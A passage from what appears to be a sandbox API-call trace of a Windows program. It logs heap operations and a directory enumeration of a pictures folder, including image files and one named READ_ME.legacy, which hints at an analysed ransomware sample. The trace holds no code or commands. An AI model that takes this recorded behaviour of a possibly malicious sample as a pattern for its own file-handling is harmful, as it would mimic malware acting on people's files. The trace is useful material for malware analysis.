Flags=0x0, Size=0x80) returned 0x559e20 [0112.638] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x578458 | out: hHeap=0x520000) returned 1 [0112.638] GetLastError () returned 0x0 [0112.638] SetLastError (dwErrCode=0x0) [0112.638] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x30) returned 0x567268 [0112.638] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x567268 | out: hHeap=0x520000) returned 1 [0112.638] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x60) returned 0x556bf0 [0112.638] FindNextFileW (in: hFindFile=0x5c6158, lpFindFileData=0x2e1fb24 | out: lpFindFileData=0x2e1fb24*(dwFileAttributes=0x26, ftCreationTime.dwLowDateTime=0x44053085, ftCreationTime.dwHighDateTime=0x1d32722, ftLastAccessTime.dwLowDateTime=0x44053085, ftLastAccessTime.dwHighDateTime=0x1d32722, ftLastWriteTime.dwLowDateTime=0xce2f1526, ftLastWriteTime.dwHighDateTime=0x1d32743, nFileSizeHigh=0x0, nFileSizeLow=0x1f8, dwReserved0=0xa0000003, dwReserved1=0x728d443f, cFileName="desktop.ini", cAlternateFileName="")) returned 1 [0112.638] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x559e20 | out: hHeap=0x520000) returned 1 [0112.638] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x40) returned 0x5784e8 [0112.638] GetLastError () returned 0x0 [0112.638] SetLastError (dwErrCode=0x0) [0112.638] GetLastError () returned 0x0 [0112.638] SetLastError (dwErrCode=0x0) [0112.638] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x80) returned 0x559490 [0112.638] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x5784e8 | out: hHeap=0x520000) returned 1 [0112.638] GetLastError () returned 0x0 [0112.638] SetLastError (dwErrCode=0x0) [0112.639] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x20) returned 0x57d870 [0112.639] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x57d870 | out: hHeap=0x520000) returned 1 [0112.639] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x50) returned 0x56d8c8 [0112.639] FindNextFileW (in: hFindFile=0x5c6158, lpFindFileData=0x2e1fb24 | out: lpFindFileData=0x2e1fb24*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x16383380, ftCreationTime.dwHighDateTime=0x1d4d2e6, ftLastAccessTime.dwLowDateTime=0xeecf3c50, ftLastAccessTime.dwHighDateTime=0x1d4c627, ftLastWriteTime.dwLowDateTime=0xeecf3c50, ftLastWriteTime.dwHighDateTime=0x1d4c627, nFileSizeHigh=0x0, nFileSizeLow=0x1073, dwReserved0=0xa0000003, dwReserved1=0x728d443f, cFileName="FkoB.png", cAlternateFileName="")) returned 1 [0112.639] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x559490 | out: hHeap=0x520000) returned 1 [0112.639] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x40) returned 0x578968 [0112.639] GetLastError () returned 0x0 [0112.639] SetLastError (dwErrCode=0x0) [0112.639] GetLastError () returned 0x0 [0112.639] SetLastError (dwErrCode=0x0) [0112.639] GetLastError () returned 0x0 [0112.639] SetLastError (dwErrCode=0x0) [0112.639] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x20) returned 0x57d870 [0112.639] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x57d870 | out: hHeap=0x520000) returned 1 [0112.639] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x40) returned 0x578260 [0112.639] FindNextFileW (in: hFindFile=0x5c6158, lpFindFileData=0x2e1fb24 | out: lpFindFileData=0x2e1fb24*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xa784cbd0, ftCreationTime.dwHighDateTime=0x1d4c7d0, ftLastAccessTime.dwLowDateTime=0x46a0d5c0, ftLastAccessTime.dwHighDateTime=0x1d4ca5a, ftLastWriteTime.dwLowDateTime=0x46a0d5c0, ftLastWriteTime.dwHighDateTime=0x1d4ca5a, nFileSizeHigh=0x0, nFileSizeLow=0xa354, dwReserved0=0xa0000003, dwReserved1=0x728d443f, cFileName="GEyT5f.png", cAlternateFileName="")) returned 1 [0112.639] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x578968 | out: hHeap=0x520000) returned 1 [0112.639] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x40) returned 0x5784e8 [0112.639] GetLastError () returned 0x0 [0112.639] SetLastError (dwErrCode=0x0) [0112.639] GetLastError () returned 0x0 [0112.639] SetLastError (dwErrCode=0x0) [0112.639] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x80) returned 0x5599e0 [0112.639] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x5784e8 | out: hHeap=0x520000) returned 1 [0112.640] GetLastError () returned 0x0 [0112.640] SetLastError (dwErrCode=0x0) [0112.640] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x20) returned 0x57d870 [0112.640] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x57d870 | out: hHeap=0x520000) returned 1 [0112.640] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x50) returned 0x56d1e8 [0112.640] FindNextFileW (in: hFindFile=0x5c6158, lpFindFileData=0x2e1fb24 | out: lpFindFileData=0x2e1fb24*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x5f16ff20, ftCreationTime.dwHighDateTime=0x1d4cd99, ftLastAccessTime.dwLowDateTime=0x450ca200, ftLastAccessTime.dwHighDateTime=0x1d4c7b9, ftLastWriteTime.dwLowDateTime=0x450ca200, ftLastWriteTime.dwHighDateTime=0x1d4c7b9, nFileSizeHigh=0x0, nFileSizeLow=0x17a3, dwReserved0=0xa0000003, dwReserved1=0x728d443f, cFileName="hCOFvsmgzu5LYwL.jpg", cAlternateFileName="HCOFVS~1.JPG")) returned 1 [0112.640] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x5599e0 | out: hHeap=0x520000) returned 1 [0112.640] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x40) returned 0x578968 [0112.640] GetLastError () returned 0x0 [0112.640] SetLastError (dwErrCode=0x0) [0112.640] GetLastError () returned 0x0 [0112.640] SetLastError (dwErrCode=0x0) [0112.640] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x80) returned 0x559490 [0112.640] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x578968 | out: hHeap=0x520000) returned 1 [0112.640] GetLastError () returned 0x0 [0112.640] SetLastError (dwErrCode=0x0) [0112.640] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x30) returned 0x5671f8 [0112.640] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x5671f8 | out: hHeap=0x520000) returned 1 [0112.640] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x60) returned 0x5565d8 [0112.640] FindNextFileW (in: hFindFile=0x5c6158, lpFindFileData=0x2e1fb24 | out: lpFindFileData=0x2e1fb24*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x3ca51cb0, ftCreationTime.dwHighDateTime=0x1d4d028, ftLastAccessTime.dwLowDateTime=0x7f9eff90, ftLastAccessTime.dwHighDateTime=0x1d4d2e4, ftLastWriteTime.dwLowDateTime=0x7f9eff90, ftLastWriteTime.dwHighDateTime=0x1d4d2e4, nFileSizeHigh=0x0, nFileSizeLow=0x1204d, dwReserved0=0xa0000003, dwReserved1=0x728d443f, cFileName="hh5k 3rSxt.png", cAlternateFileName="HH5K3R~1.PNG")) returned 1 [0112.640] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x559490 | out: hHeap=0x520000) returned 1 [0112.640] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x40) returned 0x578140 [0112.640] GetLastError () returned 0x0 [0112.640] SetLastError (dwErrCode=0x0) [0112.641] GetLastError () returned 0x0 [0112.641] SetLastError (dwErrCode=0x0) [0112.641] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x80) returned 0x559490 [0112.641] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x578140 | out: hHeap=0x520000) returned 1 [0112.641] GetLastError () returned 0x0 [0112.641] SetLastError (dwErrCode=0x0) [0112.641] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x20) returned 0x57d870 [0112.641] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x57d870 | out: hHeap=0x520000) returned 1 [0112.641] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x50) returned 0x56d608 [0112.641] FindNextFileW (in: hFindFile=0x5c6158, lpFindFileData=0x2e1fb24 | out: lpFindFileData=0x2e1fb24*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x9f668260, ftCreationTime.dwHighDateTime=0x1d4d44e, ftLastAccessTime.dwLowDateTime=0xb2d5eb80, ftLastAccessTime.dwHighDateTime=0x1d4d244, ftLastWriteTime.dwLowDateTime=0xb2d5eb80, ftLastWriteTime.dwHighDateTime=0x1d4d244, nFileSizeHigh=0x0, nFileSizeLow=0x64d9, dwReserved0=0xa0000003, dwReserved1=0x728d443f, cFileName="ilNALEcI2nS.bmp", cAlternateFileName="ILNALE~1.BMP")) returned 1 [0112.641] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x559490 | out: hHeap=0x520000) returned 1 [0112.641] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x40) returned 0x578968 [0112.641] GetLastError () returned 0x0 [0112.641] SetLastError (dwErrCode=0x0) [0112.641] GetLastError () returned 0x0 [0112.641] SetLastError (dwErrCode=0x0) [0112.641] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x80) returned 0x5599e0 [0112.642] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x578968 | out: hHeap=0x520000) returned 1 [0112.642] GetLastError () returned 0x0 [0112.642] SetLastError (dwErrCode=0x0) [0112.642] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x20) returned 0x57d870 [0112.642] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x57d870 | out: hHeap=0x520000) returned 1 [0112.642] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x50) returned 0x56d2f0 [0112.642] FindNextFileW (in: hFindFile=0x5c6158, lpFindFileData=0x2e1fb24 | out: lpFindFileData=0x2e1fb24*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xf5a75b40, ftCreationTime.dwHighDateTime=0x1d4c60c, ftLastAccessTime.dwLowDateTime=0x1f68daa0, ftLastAccessTime.dwHighDateTime=0x1d4cea8, ftLastWriteTime.dwLowDateTime=0x1f68daa0, ftLastWriteTime.dwHighDateTime=0x1d4cea8, nFileSizeHigh=0x0, nFileSizeLow=0xb509, dwReserved0=0xa0000003, dwReserved1=0x728d443f, cFileName="J3WS97uoJ K.jpg", cAlternateFileName="J3WS97~1.JPG")) returned 1 [0112.642] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x5599e0 | out: hHeap=0x520000) returned 1 [0112.642] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x40) returned 0x578968 [0112.642] GetLastError () returned 0x0 [0112.642] SetLastError (dwErrCode=0x0) [0112.642] GetLastError () returned 0x0 [0112.642] SetLastError (dwErrCode=0x0) [0112.642] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x80) returned 0x5599e0 [0112.642] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x578968 | out: hHeap=0x520000) returned 1 [0112.642] GetLastError () returned 0x0 [0112.642] SetLastError (dwErrCode=0x0) [0112.642] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x20) returned 0x57d870 [0112.642] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x57d870 | out: hHeap=0x520000) returned 1 [0112.642] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x50) returned 0x56d240 [0112.642] FindNextFileW (in: hFindFile=0x5c6158, lpFindFileData=0x2e1fb24 | out: lpFindFileData=0x2e1fb24*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x5321e780, ftCreationTime.dwHighDateTime=0x1d4c6b8, ftLastAccessTime.dwLowDateTime=0xaa80b880, ftLastAccessTime.dwHighDateTime=0x1d4c956, ftLastWriteTime.dwLowDateTime=0xaa80b880, ftLastWriteTime.dwHighDateTime=0x1d4c956, nFileSizeHigh=0x0, nFileSizeLow=0x7e79, dwReserved0=0xa0000003, dwReserved1=0x728d443f, cFileName="JsIPt8.jpg", cAlternateFileName="")) returned 1 [0112.642] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x5599e0 | out: hHeap=0x520000) returned 1 [0112.642] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x40) returned 0x5781d0 [0112.642] GetLastError () returned 0x0 [0112.642] SetLastError (dwErrCode=0x0) [0112.642] GetLastError () returned 0x0 [0112.643] SetLastError (dwErrCode=0x0) [0112.643] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x80) returned 0x559fb8 [0112.643] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x5781d0 | out: hHeap=0x520000) returned 1 [0112.643] GetLastError () returned 0x0 [0112.643] SetLastError (dwErrCode=0x0) [0112.643] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x20) returned 0x57d870 [0112.643] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x57d870 | out: hHeap=0x520000) returned 1 [0112.643] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x50) returned 0x56d450 [0112.643] FindNextFileW (in: hFindFile=0x5c6158, lpFindFileData=0x2e1fb24 | out: lpFindFileData=0x2e1fb24*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x98f99110, ftCreationTime.dwHighDateTime=0x1d4d1e7, ftLastAccessTime.dwLowDateTime=0x458692e0, ftLastAccessTime.dwHighDateTime=0x1d4d470, ftLastWriteTime.dwLowDateTime=0x458692e0, ftLastWriteTime.dwHighDateTime=0x1d4d470, nFileSizeHigh=0x0, nFileSizeLow=0x8d62, dwReserved0=0xa0000003, dwReserved1=0x728d443f, cFileName="kBSfGZV0C85sqciF.jpg", cAlternateFileName="KBSFGZ~1.JPG")) returned 1 [0112.643] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x559fb8 | out: hHeap=0x520000) returned 1 [0112.643] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x40) returned 0x5781d0 [0112.643] GetLastError () returned 0x0 [0112.643] SetLastError (dwErrCode=0x0) [0112.643] GetLastError () returned 0x0 [0112.643] SetLastError (dwErrCode=0x0) [0112.643] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x80) returned 0x5599e0 [0112.643] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x5781d0 | out: hHeap=0x520000) returned 1 [0112.643] GetLastError () returned 0x0 [0112.643] SetLastError (dwErrCode=0x0) [0112.643] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x30) returned 0x566bd8 [0112.643] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x566bd8 | out: hHeap=0x520000) returned 1 [0112.643] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x60) returned 0x556b20 [0112.644] FindNextFileW (in: hFindFile=0x5c6158, lpFindFileData=0x2e1fb24 | out: lpFindFileData=0x2e1fb24*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x8f9cbad0, ftCreationTime.dwHighDateTime=0x1d4c6c4, ftLastAccessTime.dwLowDateTime=0x8f7b52e0, ftLastAccessTime.dwHighDateTime=0x1d4d106, ftLastWriteTime.dwLowDateTime=0x8f7b52e0, ftLastWriteTime.dwHighDateTime=0x1d4d106, nFileSizeHigh=0x0, nFileSizeLow=0x14940, dwReserved0=0xa0000003, dwReserved1=0x728d443f, cFileName="NcQCE8HmyFy.gif", cAlternateFileName="NCQCE8~1.GIF")) returned 1 [0112.644] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x5599e0 | out: hHeap=0x520000) returned 1 [0112.644] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x40) returned 0x578968 [0112.644] GetLastError () returned 0x0 [0112.644] SetLastError (dwErrCode=0x0) [0112.644] GetLastError () returned 0x0 [0112.644] SetLastError (dwErrCode=0x0) [0112.644] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x80) returned 0x5599e0 [0112.644] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x578968 | out: hHeap=0x520000) returned 1 [0112.644] GetLastError () returned 0x0 [0112.644] SetLastError (dwErrCode=0x0) [0112.644] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x20) returned 0x57d870 [0112.644] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x57d870 | out: hHeap=0x520000) returned 1 [0112.644] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x50) returned 0x56d7c0 [0112.644] FindNextFileW (in: hFindFile=0x5c6158, lpFindFileData=0x2e1fb24 | out: lpFindFileData=0x2e1fb24*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x5a9c3ee0, ftCreationTime.dwHighDateTime=0x1d4c666, ftLastAccessTime.dwLowDateTime=0xd79d670, ftLastAccessTime.dwHighDateTime=0x1d4c7df, ftLastWriteTime.dwLowDateTime=0xd79d670, ftLastWriteTime.dwHighDateTime=0x1d4c7df, nFileSizeHigh=0x0, nFileSizeLow=0x1608c, dwReserved0=0xa0000003, dwReserved1=0x728d443f, cFileName="nx 49yt XpGBdB5.png", cAlternateFileName="NX49YT~1.PNG")) returned 1 [0112.645] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x5599e0 | out: hHeap=0x520000) returned 1 [0112.645] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x40) returned 0x578968 [0112.645] GetLastError () returned 0x0 [0112.645] SetLastError (dwErrCode=0x0) [0112.645] GetLastError () returned 0x0 [0112.645] SetLastError (dwErrCode=0x0) [0112.645] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x80) returned 0x5599e0 [0112.645] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x578968 | out: hHeap=0x520000) returned 1 [0112.645] GetLastError () returned 0x0 [0112.645] SetLastError (dwErrCode=0x0) [0112.645] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x30) returned 0x567118 [0112.645] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x567118 | out: hHeap=0x520000) returned 1 [0112.645] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x60) returned 0x556640 [0112.645] FindNextFileW (in: hFindFile=0x5c6158, lpFindFileData=0x2e1fb24 | out: lpFindFileData=0x2e1fb24*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xfc411940, ftCreationTime.dwHighDateTime=0x1d4d184, ftLastAccessTime.dwLowDateTime=0x7d7aa990, ftLastAccessTime.dwHighDateTime=0x1d4cf6e, ftLastWriteTime.dwLowDateTime=0x7d7aa990, ftLastWriteTime.dwHighDateTime=0x1d4cf6e, nFileSizeHigh=0x0, nFileSizeLow=0x4e24, dwReserved0=0xa0000003, dwReserved1=0x728d443f, cFileName="okNU3my.bmp", cAlternateFileName="")) returned 1 [0112.645] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x5599e0 | out: hHeap=0x520000) returned 1 [0112.645] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x40) returned 0x5789f8 [0112.645] GetLastError () returned 0x0 [0112.645] SetLastError (dwErrCode=0x0) [0112.646] GetLastError () returned 0x0 [0112.646] SetLastError (dwErrCode=0x0) [0112.646] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x80) returned 0x559490 [0112.646] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x5789f8 | out: hHeap=0x520000) returned 1 [0112.646] GetLastError () returned 0x0 [0112.646] SetLastError (dwErrCode=0x0) [0112.646] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x20) returned 0x57d870 [0112.646] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x57d870 | out: hHeap=0x520000) returned 1 [0112.646] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x50) returned 0x56cfd8 [0112.646] FindNextFileW (in: hFindFile=0x5c6158, lpFindFileData=0x2e1fb24 | out: lpFindFileData=0x2e1fb24*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x9d4837c0, ftCreationTime.dwHighDateTime=0x1d4d094, ftLastAccessTime.dwLowDateTime=0xcb1690a0, ftLastAccessTime.dwHighDateTime=0x1d4cca9, ftLastWriteTime.dwLowDateTime=0xcb1690a0, ftLastWriteTime.dwHighDateTime=0x1d4cca9, nFileSizeHigh=0x0, nFileSizeLow=0x712a, dwReserved0=0xa0000003, dwReserved1=0x728d443f, cFileName="OTeqwCvRYPxMGw.png", cAlternateFileName="OTEQWC~1.PNG")) returned 1 [0112.646] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x559490 | out: hHeap=0x520000) returned 1 [0112.646] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x40) returned 0x5782a8 [0112.646] GetLastError () returned 0x0 [0112.646] SetLastError (dwErrCode=0x0) [0112.646] GetLastError () returned 0x0 [0112.646] SetLastError (dwErrCode=0x0) [0112.646] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x80) returned 0x5599e0 [0112.647] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x5782a8 | out: hHeap=0x520000) returned 1 [0112.647] GetLastError () returned 0x0 [0112.647] SetLastError (dwErrCode=0x0) [0112.647] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x30) returned 0x567070 [0112.647] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x567070 | out: hHeap=0x520000) returned 1 [0112.647] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x60) returned 0x57ea00 [0112.647] FindNextFileW (in: hFindFile=0x5c6158, lpFindFileData=0x2e1fb24 | out: lpFindFileData=0x2e1fb24*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x31472290, ftCreationTime.dwHighDateTime=0x1d4cad4, ftLastAccessTime.dwLowDateTime=0x80a95560, ftLastAccessTime.dwHighDateTime=0x1d4d04c, ftLastWriteTime.dwLowDateTime=0x80a95560, ftLastWriteTime.dwHighDateTime=0x1d4d04c, nFileSizeHigh=0x0, nFileSizeLow=0x145cd, dwReserved0=0xa0000003, dwReserved1=0x728d443f, cFileName="pWSuY9z6L9l.jpg", cAlternateFileName="PWSUY9~1.JPG")) returned 1 [0112.647] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x5599e0 | out: hHeap=0x520000) returned 1 [0112.647] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x40) returned 0x5789b0 [0112.647] GetLastError () returned 0x0 [0112.647] SetLastError (dwErrCode=0x0) [0112.647] GetLastError () returned 0x0 [0112.647] SetLastError (dwErrCode=0x0) [0112.647] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x80) returned 0x55a0c8 [0112.647] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x5789b0 | out: hHeap=0x520000) returned 1 [0112.647] GetLastError () returned 0x0 [0112.648] SetLastError (dwErrCode=0x0) [0112.648] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x20) returned 0x57d870 [0112.648] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x57d870 | out: hHeap=0x520000) returned 1 [0112.648] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x50) returned 0x56d298 [0112.648] FindNextFileW (in: hFindFile=0x5c6158, lpFindFileData=0x2e1fb24 | out: lpFindFileData=0x2e1fb24*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xd2098343, ftCreationTime.dwHighDateTime=0x1d511a7, ftLastAccessTime.dwLowDateTime=0xd2098343, ftLastAccessTime.dwHighDateTime=0x1d511a7, ftLastWriteTime.dwLowDateTime=0xd37fc4b0, ftLastWriteTime.dwHighDateTime=0x1d511a7, nFileSizeHigh=0x0, nFileSizeLow=0x702, dwReserved0=0xa0000003, dwReserved1=0x728d443f, cFileName="READ_ME.legacy", cAlternateFileName="READ_M~1.LEG")) returned 1 [0112.648] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x55a0c8 | out: hHeap=0x520000) returned 1 [0112.648] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x40) returned 0x578218 [0112.648] GetLastError () returned 0x0 [0112.648] SetLastError (dwErrCode=0x0) [0112.648] GetLastError () returned 0x0 [0112.648] SetLastError (dwErrCode=0x0) [0112.648] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x80) returned 0x55a0c8 [0112.648] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x578218 | out: hHeap=0x520000) returned 1 [0112.648] GetLastError () returned 0x0 [0112.648] SetLastError (dwErrCode=0x0) [0112.648] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x20) returned 0x57d870 [0112.648] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x57d870 | out: hHeap=0x520000) returned 1 [0112.648] FindNextFileW (in: hFindFile=0x5c6158, lpFindFileData=0x2e1fb24 | out: lpFindFileData=0x2e1fb24*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x269eb430, ftCreationTime.dwHighDateTime=0x1d4cff1, ftLastAccessTime.dwLowDateTime=0xd1ea1cd0, ftLastAccessTime.dwHighDateTime=0x1d4cafb, ftLastWriteTime.dwLowDateTime=0xd1ea1cd0, ftLastWriteTime.dwHighDateTime=0x1d4cafb, nFileSizeHigh=0x0, nFileSizeLow=0x9533, dwReserved0=0xa0000003, dwReserved1=0x728d443f, cFileName="rL5cLP.jpg", cAlternateFileName="")) returned 1 [0112.649] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x55a0c8 | out: hHeap=0x520000) returned 1 [0112.649] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x40) returned 0x578188 [0112.649] GetLastError () returned 0x0 [0112.649] SetLastError (dwErrCode=0x0) [0112.649] GetLastError () returned 0x0 [0112.649] SetLastError (dwErrCode=0x0) [0112.649] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x80) returned 0x559270 [0112.649] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x578188 | out: hHeap=0x520000) returned 1 [0112.649] GetLastError () returned 0x0 [0112.649] SetLastError (dwErrCode=0x0) [0112.649] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x20) returned 0x57d870 [0112.649] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x57d870 | out: hHeap=0x520000) returned 1 [0112.649] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x50) returned 0x56d348 [0112.649] FindNextFileW (in: hFindFile=0x5c6158, lpFindFileData=0x2e1fb24 | out: lpFindFileData=0x2e1fb24*(dwFileAttributes=0x11, ftCreationTime.dwLowDateTime=0x51311410, ftCreationTime.dwHighDateTime=0x1d32715, ftLastAccessTime.dwLowDateTime=0xd45b4e37, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x51311410, ftLastWriteTime.dwHighDateTime=0x1d32715, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x728d443f, cFileName="Saved Pictures", cAlternateFileName="SAVEDP~1")) returned 1 [0112.649] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x559270 | out: hHeap=0x520000) returned 1 [0112.649] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x40) returned 0x578608 [0112.649] GetLastError () returned 0x0 [0112.650] SetLastError (dwErrCode=0x0) [0112.650] GetLastError () returned 0x0 [0112.650] SetLastError (dwErrCode=0x0) [0112.650] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x80) returned 0x5599e0 [0112.650] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x578608 | out: hHeap=0x520000) returned 1 [0112.650] GetLastError () returned 0x0 [0112.650] SetLastError (dwErrCode=0x0) [0112.650] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x20) returned 0x57d870 [0112.650] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x57d870 | out: hHeap=0x520000) returned 1 [0112.650] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x57d898 | out: hHeap=0x520000) returned 1 [0112.650] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x5784a0 | out: hHeap=0x520000) returned 1 [0112.650] GetLastError () returned 0x0 [0112.650] SetLastError (dwErrCode=0x0) [0112.650] GetLastError () returned 0x0 